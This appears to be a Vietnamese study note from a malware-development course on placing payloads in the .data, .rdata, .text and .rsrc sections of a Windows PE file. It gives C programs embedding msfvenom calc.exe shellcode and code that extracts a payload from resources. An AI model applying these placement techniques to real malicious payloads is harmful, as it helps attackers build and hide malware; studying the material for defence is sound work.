.data
& .rdata
Sections
Khi lập trình malware, chúng ta có thể đặt payload vào các section sau của file PE:
.data
.rdata
.text
.rsrc
.data
Section
Vùng .data
chứa các biến toàn cục và các biến static. Do có quyền đọc và ghi nên .data
thích hợp cho các payload được mã hóa mà cần được giải mã trong quá trình chạy.
Ví dụ bên dưới minh họa cho việc lưu payload vào vùng .data
:
#include <Windows.h>
#include <stdio.h>
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .data saved payload
unsigned char Data_RawData[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
printf("[i] Data_RawData var : 0x%p \n", Data_RawData);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
Hình bên dưới cho thấy payload đã được nạp vào vùng .data
ở địa chỉ 0x00007FF68C7BC000
(ở ngay đầu):
Note
Payload có thể nằm ở vị trí khác ở trong vùng
.data
chứ không nhất định nằm ở đầu vùng này.
Chú ý rằng quyền của vùng nhớ là RW (đọc và ghi).
.rdata
Section
Tất cả các biến được khai báo với từ khóa const
đều được lưu ở vùng .rdata
. Chữ r
trong rdata
là viết tắt của read-only. Các hành động ghi vào vùng nhớ này sẽ gây ra lỗi truy cập trái phép (access violation).
Tùy vào compiler và cấu hình của nó, vùng .data
và .rdata
có thể bị gộp lại hoặc thậm chí là gộp với .text
.
Đoạn code bên dưới minh họa cho việc lưu payload vào vùng .rdata
:
#include <Windows.h>
#include <stdio.h>
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .rdata saved payload
const unsigned char Rdata_RawData[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
printf("[i] Rdata_RawData var : 0x%p \n", Rdata_RawData);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
Có thể thấy, đoạn code này tương tự đoạn code trước ngoại trừ việc khai báo biến chứa payload với từ khóa const
.
Sử dụng dumpbin.exe
(được cài cùng với Visual Studio) để xem dữ liệu bên trong file PE:
dumpbin.exe /ALL <binary-file.exe>
Kéo xuống phần .rdata
, ta sẽ thấy payload:
.text
Section
Việc lưu trữ payload vào vùng .text
có đôi chút khác biệt so với vùng .data
và vùng .rdata
do ta cần khai báo thêm với compiler rằng ta muốn lưu payload vào vùng .text
.
#include <Windows.h>
#include <stdio.h>
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .text saved payload
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char Text_RawData[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
printf("[i] Text_RawData var : 0x%p \n", Text_RawData);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
Có thể thấy, ta sử dụng #pragma section(".text")
và thêm vào từ khóa __declspec(allocate(".text"))
khi khai báo biến chứa payload.
Info
Vùng
.text
có quyền thực thi nên payload được lưu trong đây có thể được thực thi một cách trực tiếp mà không cần phải thực hiện chỉnh sửa quyền của vùng nhớ.
Lần này, ta sẽ dùng công cụ pe-bear
để xem payload ở trong vùng .text
:
Note
Để ra được output trên, cần phải biên dịch file ở chế độ Release thay vì Debug.
.rsrc
Section
Kích thước của vùng .rsrc
lớn hơn so với .data
và .rdata
nên đây là vùng lưu trữ phù hợp cho payload lớn.
Embedding Payloads in .rsrc
Các bước lưu payload vào vùng .rsrc
:
-
Thêm mới một item vào project ở danh mục “Resource Files” với kiểu là “Resource File (
.rc
)”: -
Sau đó, Visual Studio sẽ mở một “Resource View”. Lúc này, ta chọn “Add Resource”:
-
Kế đến, nhấn “Import” và chọn file chứa payload có extension là
.ico
: -
Chọn “Resource Type” là
RCDATA
: -
Payload sẽ được hiển thị như sau:
-
Sau khi thoát “Resource View” thì sẽ có một file header được tạo ra có tên là
resource.h
. File này được đặt tên dựa trên fileResource.rc
mà ta đã tạo:Trong file header này có câu lệnh
#define
giúp định nghĩa ID của resource ở trong vùng.rsrc
làIDR_RCDATA1
với giá trị là101
. Đây là thông tin giúp ta trích xuất resource từ vùng.rsrc
.
Một khi được compiled, payload sẽ được lưu ở trong vùng .rsrc
và ta cần dùng các hàm thuộc Windows APIs để trích xuất.
Ví dụ:
#include <Windows.h>
#include <stdio.h>
#include "resource.h"
int main() {
HRSRC hRsrc = NULL;
HGLOBAL hGlobal = NULL;
PVOID pPayloadAddress = NULL;
SIZE_T sPayloadSize = NULL;
// Get the location to the data stored in .rsrc by its id *IDR_RCDATA1*
hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
if (hRsrc == NULL) {
// in case of function failure
printf("[!] FindResourceW Failed With Error : %d \n", GetLastError());
return -1;
}
// Get HGLOBAL, or the handle of the specified resource data since its required to call LockResource later
hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
// in case of function failure
printf("[!] LoadResource Failed With Error : %d \n", GetLastError());
return -1;
}
// Get the address of our payload in .rsrc section
pPayloadAddress = LockResource(hGlobal);
if (pPayloadAddress == NULL) {
// in case of function failure
printf("[!] LockResource Failed With Error : %d \n", GetLastError());
return -1;
}
// Get the size of our payload in .rsrc section
sPayloadSize = SizeofResource(NULL, hRsrc);
if (sPayloadSize == NULL) {
// in case of function failure
printf("[!] SizeofResource Failed With Error : %d \n", GetLastError());
return -1;
}
// Printing pointer and size to the screen
printf("[i] pPayloadAddress var : 0x%p \n", pPayloadAddress);
printf("[i] sPayloadSize var : %ld \n", sPayloadSize);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
Trong đoạn code trên, hàm FindResourceW
lấy ra “resource’s information block” (hay nói đơn giản là vị trí của resource) dựa trên resource ID (macro IDR_RCDATA1
) và resource type (RT_RCDATA
).
- Tham số đầu tiên là handle của module có chứa resource mà ta cần, truyền vào
NULL
đồng nghĩa với việc sử dụng module (hay file thực thi) hiện tại. - Chúng ta dùng macro
MAKEINTRESOURCEW
để chuyển ID có kiểu số nguyên sang chuỗi định danh của resource.
Note
Cần chú ý rằng vùng
.rsrc
chỉ có quyền đọc nên ta không thể cập nhật payload. Để chỉnh sửa payload, ta cần sao chép nó qua một vùng nhớ tạm rồi thực hiện các thao tác chỉnh sửa trên đó chẳng hạn như giải mã payload.
Updating .rsrc
Payload
Để cấp phát vùng nhớ nhằm sao chép payload từ vùng .rsrc
, ta có thể dùng hàm HeapAlloc
. Sau đó, thực hiện sao chép từ vùng .rsrc
vào vùng nhớ vừa được cấp phát bằng cách sử dụng hàm memcpy
:
// Allocating memory using a HeapAlloc call
PVOID pTmpBuffer = HeapAlloc(GetProcessHeap(), 0, sPayloadSize);
if (pTmpBuffer != NULL){
// copying the payload from resource section to the new buffer
memcpy(pTmpBuffer, pPayloadAddress, sPayloadSize);
}
// Printing the base address of our buffer (pTmpBuffer)
printf("[i] pTmpBuffer var : 0x%p \n", pTmpBuffer);
Hình bên dưới cho thấy payload được lưu ở trong vùng .rsrc
:
Sau đó, nó được lưu vào một buffer như sau:
Related
list
from outgoing([[MalDev - Payload Placement]])
sort file.ctime asc